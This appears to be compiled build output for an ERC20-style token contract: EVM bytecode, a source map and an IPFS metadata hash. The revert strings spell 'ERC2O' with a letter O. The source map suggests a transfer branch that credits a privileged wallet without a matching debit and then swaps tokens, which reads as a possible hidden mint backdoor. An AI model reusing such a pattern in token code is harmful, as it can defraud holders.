5180830381865afa158015610fdc573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061100091906113c1565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561103e578082015181840152602081019050611023565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61106382611007565b61106d8185611011565b935061107d818560208601611021565b61108681611049565b840191505092915050565b5f6020820190508181035f8301526110a98184611059565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110de826110b5565b9050919050565b6110ee816110d4565b81146110f8575f80fd5b50565b5f81359050611109816110e5565b92915050565b5f819050919050565b6111218161110f565b811461112b575f80fd5b50565b5f8135905061113c81611118565b92915050565b5f8060408385031215611158576111576110b1565b5b5f611165858286016110fb565b92505060206111768582860161112e565b9150509250929050565b5f8115159050919050565b61119481611180565b82525050565b5f6020820190506111ad5f83018461118b565b92915050565b6111bc8161110f565b82525050565b5f6020820190506111d55f8301846111b3565b92915050565b5f805f606084860312156111f2576111f16110b1565b5b5f6111ff868287016110fb565b9350506020611210868287016110fb565b92505060406112218682870161112e565b9150509250925092565b5f60ff82169050919050565b6112408161122b565b82525050565b5f6020820190506112595f830184611237565b92915050565b5f60208284031215611274576112736110b1565b5b5f611281848285016110fb565b91505092915050565b611293816110d4565b82525050565b5f6020820190506112ac5f83018461128a565b92915050565b5f80604083850312156112c8576112c76110b1565b5b5f6112d5858286016110fb565b92505060206112e6858286016110fb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061133457607f821691505b602082108103611347576113466112f0565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113848261110f565b915061138f8361110f565b92508282039050818111156113a7576113a661134d565b5b92915050565b5f815190506113bb816110e5565b92915050565b5f602082840312156113d6576113d56110b1565b5b5f6113e3848285016113ad565b91505092915050565b5f6040820190506113ff5f83018561128a565b61140c602083018461128a565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61146d602483611011565b915061147882611413565b604082019050919050565b5f6020820190508181035f83015261149a81611461565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6114fb602283611011565b9150611506826114a1565b604082019050919050565b5f6020820190508181035f830152611528816114ef565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f611589602983611011565b91506115948261152f565b604082019050919050565b5f6020820190508181035f8301526115b68161157d565b9050919050565b7f455243324f3a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611617602583611011565b9150611622826115bd565b604082019050919050565b5f6020820190508181035f8301526116448161160b565b9050919050565b7f455243324f3a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6116a5602383611011565b91506116b08261164b565b604082019050919050565b5f6020820190508181035f8301526116d281611699565b9050919050565b5f6116e38261110f565b91506116ee8361110f565b92508282019050808211156117065761170561134d565b5b92915050565b5f6117168261110f565b91506117218361110f565b925082820261172f8161110f565b915082820484148315176117465761174561134d565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6117848261110f565b915061178f8361110f565b92508261179f5761179e61174d565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61183061182b61182684611804565b61180d565b61110f565b9050919050565b61184081611816565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611878816110d4565b82525050565b5f611889838361186f565b60208301905092915050565b5f602082019050919050565b5f6118ab82611846565b6118b58185611850565b93506118c083611860565b805f5b838110156118f05781516118d7888261187e565b97506118e283611895565b9250506001810190506118c3565b5085935050505092915050565b5f61191761191261190d846110b5565b61180d565b6110b5565b9050919050565b5f611928826118fd565b9050919050565b5f6119398261191e565b9050919050565b6119498161192f565b82525050565b5f60a0820190506119625f8301886111b3565b61196f6020830187611837565b818103604083015261198181866118a1565b90506119906060830185611940565b61199d60808301846111b3565b969550505050505056fea2646970667358221220952065d1913221caf670b5862e6b7631391e91a583ff14472ee0fddd0563164064736f6c63430008140033

570:4148:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1754:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2204:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1845:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3108:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1568:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2086:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3369:173;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1659:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3550:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1944:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1754:83;1791:13;1824:5;1817:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1754:83;:::o;2204:150::-;2270:4;2287:37;2296:10;2308:7;2317:6;2287:8;:37::i;:::-;2342:4;2335:11;;2204:150;;;;:::o;1845:91::-;1889:7;1916:12;;1909:19;;1845:91;:::o;3108:253::-;3197:4;3214:36;3224:6;3232:9;3243:6;3214:9;:36::i;:::-;3261:70;3270:6;3278:10;3324:6;3290:11;:19;3302:6;3290:19;;;;;;;;;;;;;;;:31;3310:10;3290:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;3261:8;:70::i;:::-;3349:4;3342:11;;3108:253;;;;;:::o;1568:83::-;1609:5;1634:9;;;;;;;;;;;1627:16;;1568:83;:::o;2086:110::-;2143:7;2170:9;:18;2180:7;2170:18;;;;;;;;;;;;;;;;2163:25;;2086:110;;;:::o;3369:173::-;3416:7;3461:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3443:52;;;3504:4;3511:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3443:91;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3436:98;;3369:173;:::o;1659:87::-;1698:13;1731:7;1724:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1659:87;:::o;3550:156::-;3619:4;3636:40;3646:10;3658:9;3669:6;3636:9;:40::i;:::-;3694:4;3687:11;;3550:156;;;;:::o;1944:134::-;2016:7;2043:11;:18;2055:5;2043:18;;;;;;;;;;;;;;;:27;2062:7;2043:27;;;;;;;;;;;;;;;;2036:34;;1944:134;;;;:::o;2362:335::-;2472:1;2455:19;;:5;:19;;;2447:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2553:1;2534:21;;:7;:21;;;2526:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2635:6;2605:11;:18;2617:5;2605:18;;;;;;;;;;;;;;;:27;2624:7;2605:27;;;;;;;;;;;;;;;:36;;;;2673:7;2657:32;;2666:5;2657:32;;;2682:6;2657:32;;;;;;:::i;:::-;;;;;;;;2362:335;;;:::o;3870:845::-;3967:1;3958:6;:10;3950:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4049:1;4033:18;;:4;:18;;;4025:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4126:1;4112:16;;:2;:16;;;4104:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4179:17;4221:10;;;;;;;;;;;4215:16;;:2;:16;;;:30;;;;;4241:4;4235:10;;:2;:10;;;4215:30;4211:157;;;4290:6;4262:9;:24;4280:4;4262:24;;;;;;;;;;;;;;;;:34;;;;;;;:::i;:::-;;;;;;;;4311:24;4328:6;4311:16;:24::i;:::-;4350:7;;;4211:157;4398:4;4382:21;;:4;:21;;;;:43;;;;;4415:10;;;;;;;;;;;4407:18;;:4;:18;;;;4382:43;:58;;;;;4429:11;;;;;;;;;;;4382:58;:87;;;;;4453:16;:14;:16::i;:::-;4445:24;;:4;:24;;;;4382:87;:107;;;;;4479:10;;;;;;;;;;;4473:16;;:2;:16;;;;4382:107;4378:194;;;4557:3;4535:18;4548:4;4535:12;:18::i;:::-;4527:27;;4518:6;:36;;;;:::i;:::-;:42;;;;:::i;:::-;4506:54;;4378:194;4608:9;4599:6;:18;;;;:::i;:::-;4582:9;:13;4592:2;4582:13;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;4647:6;4628:9;:15;4638:4;4628:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;4684:2;4669:38;;4678:4;4669:38;;;4697:9;4688:6;:18;;;;:::i;:::-;4669:38;;;;;;:::i;:::-;;;;;;;;3939:776;3870:845;;;;:::o;2705:391::-;2766:22;2805:1;2791:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2766:41;;2837:4;2818:5;2824:1;2818:8;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;2867:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2855:5;2861:1;2855:8;;;;;;;;:::i;:::-;;;;;;;:34;;;;;;;;;;;2901:57;2918:4;2933:15;;;;;;;;;;;2951:6;2901:8;:57::i;:::-;2970:15;;;;;;;;;;;:66;;;3037:6;3045:1;3048:5;3055:10;;;;;;;;;;;3085:2;3067:15;:20;;;;:::i;:::-;2970:118;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2755:341;2705:391;:::o;3714:148::-;3773:7;3808:16;;;;;;;;;;;:24;;;3833:4;3847;3808:45;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3793:61;;3714:148;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:180::-;6580:77;6577:1;6570:88;6677:4;6674:1;6667:15;6701:4;6698:1;6691:15;6718:194;6758:4;6778:20;6796:1;6778:20;:::i;:::-;6773:25;;6812:20;6830:1;6812:20;:::i;:::-;6807:25;;6856:1;6853;6849:9;6841:17;;6880:1;6874:4;6871:11;6868:37;;;6885:18;;:::i;:::-;6868:37;6718:194;;;;:::o;6918:143::-;6975:5;7006:6;7000:13;6991:22;;7022:33;7049:5;7022:33;:::i;:::-;6918:143;;;;:::o;7067:351::-;7137:6;7186:2;7174:9;7165:7;7161:23;7157:32;7154:119;;;7192:79;;:::i;:::-;7154:119;7312:1;7337:64;7393:7;7384:6;7373:9;7369:22;7337:64;:::i;:::-;7327:74;;7283:128;7067:351;;;;:::o;7424:332::-;7545:4;7583:2;7572:9;7568:18;7560:26;;7596:71;7664:1;7653:9;7649:17;7640:6;7596:71;:::i;:::-;7677:72;7745:2;7734:9;7730:18;7721:6;7677:72;:::i;:::-;7424:332;;;;;:::o;7762:223::-;7902:34;7898:1;7890:6;7886:14;7879:58;7971:6;7966:2;7958:6;7954:15;7947:31;7762:223;:::o;7991:366::-;8133:3;8154:67;8218:2;8213:3;8154:67;:::i;:::-;8147:74;;8230:93;8319:3;8230:93;:::i;:::-;8348:2;8343:3;8339:12;8332:19;;7991:366;;;:::o;8363:419::-;8529:4;8567:2;8556:9;8552:18;8544:26;;8616:9;8610:4;8606:20;8602:1;8591:9;8587:17;8580:47;8644:131;8770:4;8644:131;:::i;:::-;8636:139;;8363:419;;;:::o;8788:221::-;8928:34;8924:1;8916:6;8912:14;8905:58;8997:4;8992:2;8984:6;8980:15;8973:29;8788:221;:::o;9015:366::-;9157:3;9178:67;9242:2;9237:3;9178:67;:::i;:::-;9171:74;;9254:93;9343:3;9254:93;:::i;:::-;9372:2;9367:3;9363:12;9356:19;;9015:366;;;:::o;9387:419::-;9553:4;9591:2;9580:9;9576:18;9568:26;;9640:9;9634:4;9630:20;9626:1;9615:9;9611:17;9604:47;9668:131;9794:4;9668:131;:::i;:::-;9660:139;;9387:419;;;:::o;9812:228::-;9952:34;9948:1;9940:6;9936:14;9929:58;10021:11;10016:2;10008:6;10004:15;9997:36;9812:228;:::o;10046:366::-;10188:3;10209:67;10273:2;10268:3;10209:67;:::i;:::-;10202:74;;10285:93;10374:3;10285:93;:::i;:::-;10403:2;10398:3;10394:12;10387:19;;10046:366;;;:::o;10418:419::-;10584:4;10622:2;10611:9;10607:18;10599:26;;10671:9;10665:4;10661:20;10657:1;10646:9;10642:17;10635:47;10699:131;10825:4;10699:131;:::i;:::-;10691:139;;10418:419;;;:::o;10843:224::-;10983:34;10979:1;10971:6;10967:14;10960:58;11052:7;11047:2;11039:6;11035:15;11028:32;10843:224;:::o;11073:366::-;11215:3;11236:67;11300:2;11295:3;11236:67;:::i;:::-;11229:74;;11312:93;11401:3;11312:93;:::i;:::-;11430:2;11425:3;11421:12;11414:19;;11073:366;;;:::o;11445:419::-;11611:4;11649:2;11638:9;11634:18;11626:26;;11698:9;11692:4;11688:20;11684:1;11673:9;11669:17;11662:47;11726:131;11852:4;11726:131;:::i;:::-;11718:139;;11445:419;;;:::o;11870:222::-;12010:34;12006:1;11998:6;11994:14;11987:58;12079:5;12074:2;12066:6;12062:15;12055:30;11870:222;:::o;12098:366::-;12240:3;12261:67;12325:2;12320:3;12261:67;:::i;:::-;12254:74;;12337:93;12426:3;12337:93;:::i;:::-;12455:2;12450:3;12446:12;12439:19;;12098:366;;;:::o;12470:419::-;12636:4;12674:2;12663:9;12659:18;12651:26;;12723:9;12717:4;12713:20;12709:1;12698:9;12694:17;12687:47;12751:131;12877:4;12751:131;:::i;:::-;12743:139;;12470:419;;;:::o;12895:191::-;12935:3;12954:20;12972:1;12954:20;:::i;:::-;12949:25;;12988:20;13006:1;12988:20;:::i;:::-;12983:25;;13031:1;13028;13024:9;13017:16;;13052:3;13049:1;13046:10;13043:36;;;13059:18;;:::i;:::-;13043:36;12895:191;;;;:::o;13092:410::-;13132:7;13155:20;13173:1;13155:20;:::i;:::-;13150:25;;13189:20;13207:1;13189:20;:::i;:::-;13184:25;;13244:1;13241;13237:9;13266:30;13284:11;13266:30;:::i;:::-;13255:41;;13445:1;13436:7;13432:15;13429:1;13426:22;13406:1;13399:9;13379:83;13356:139;;13475:18;;:::i;:::-;13356:139;13140:362;13092:410;;;;:::o;13508:180::-;13556:77;13553:1;13546:88;13653:4;13650:1;13643:15;13677:4;13674:1;13667:15;13694:185;13734:1;13751:20;13769:1;13751:20;:::i;:::-;13746:25;;13785:20;13803:1;13785:20;:::i;:::-;13780:25;;13824:1;13814:35;;13829:18;;:::i;:::-;13814:35;13871:1;13868;13864:9;13859:14;;13694:185;;;;:::o;13885:180::-;13933:77;13930:1;13923:88;14030:4;14027:1;14020:15;14054:4;14051:1;14044:15;14071:180;14119:77;14116:1;14109:88;14216:4;14213:1;14206:15;14240:4;14237:1;14230:15;14257:85;14302:7;14331:5;14320:16;;14257:85;;;:::o;14348:60::-;14376:3;14397:5;14390:12;;14348:60;;;:::o;14414:158::-;14472:9;14505:61;14523:42;14532:32;14558:5;14532:32;:::i;:::-;14523:42;:::i;:::-;14505:61;:::i;:::-;14492:74;;14414:158;;;:::o;14578:147::-;14673:45;14712:5;14673:45;:::i;:::-;14668:3;14661:58;14578:147;;:::o;14731:114::-;14798:6;14832:5;14826:12;14816:22;;14731:114;;;:::o;14851:184::-;14950:11;14984:6;14979:3;14972:19;15024:4;15019:3;15015:14;15000:29;;14851:184;;;;:::o;15041:132::-;15108:4;15131:3;15123:11;;15161:4;15156:3;15152:14;15144:22;;15041:132;;;:::o;15179:108::-;15256:24;15274:5;15256:24;:::i;:::-;15251:3;15244:37;15179:108;;:::o;15293:179::-;15362:10;15383:46;15425:3;15417:6;15383:46;:::i;:::-;15461:4;15456:3;15452:14;15438:28;;15293:179;;;;:::o;15478:113::-;15548:4;15580;15575:3;15571:14;15563:22;;15478:113;;;:::o;15627:732::-;15746:3;15775:54;15823:5;15775:54;:::i;:::-;15845:86;15924:6;15919:3;15845:86;:::i;:::-;15838:93;;15955:56;16005:5;15955:56;:::i;:::-;16034:7;16065:1;16050:284;16075:6;16072:1;16069:13;16050:284;;;16151:6;16145:13;16178:63;16237:3;16222:13;16178:63;:::i;:::-;16171:70;;16264:60;16317:6;16264:60;:::i;:::-;16254:70;;16110:224;16097:1;16094;16090:9;16085:14;;16050:284;;;16054:14;16350:3;16343:10;;15751:608;;;15627:732;;;;:::o;16365:142::-;16415:9;16448:53;16466:34;16475:24;16493:5;16475:24;:::i;:::-;16466:34;:::i;:::-;16448:53;:::i;:::-;16435:66;;16365:142;;;:::o;16513:126::-;16563:9;16596:37;16627:5;16596:37;:::i;:::-;16583:50;;16513:126;;;:::o;16645:134::-;16703:9;16736:37;16767:5;16736:37;:::i;:::-;16723:50;;16645:134;;;:::o;16785:147::-;16880:45;16919:5;16880:45;:::i;:::-;16875:3;16868:58;16785:147;;:::o;16938:847::-;17209:4;17247:3;17236:9;17232:19;17224:27;;17261:71;17329:1;17318:9;17314:17;17305:6;17261:71;:::i;:::-;17342:80;17418:2;17407:9;17403:18;17394:6;17342:80;:::i;:::-;17469:9;17463:4;17459:20;17454:2;17443:9;17439:18;17432:48;17497:108;17600:4;17591:6;17497:108;:::i;:::-;17489:116;;17615:80;17691:2;17680:9;17676:18;17667:6;17615:80;:::i;:::-;17705:73;17773:3;17762:9;17758:19;17749:6;17705:73;:::i;:::-;16938:847;;;;;;;;:::o

ipfs://952065d1913221caf670b5862e6b7631391e91a583ff14472ee0fddd05631640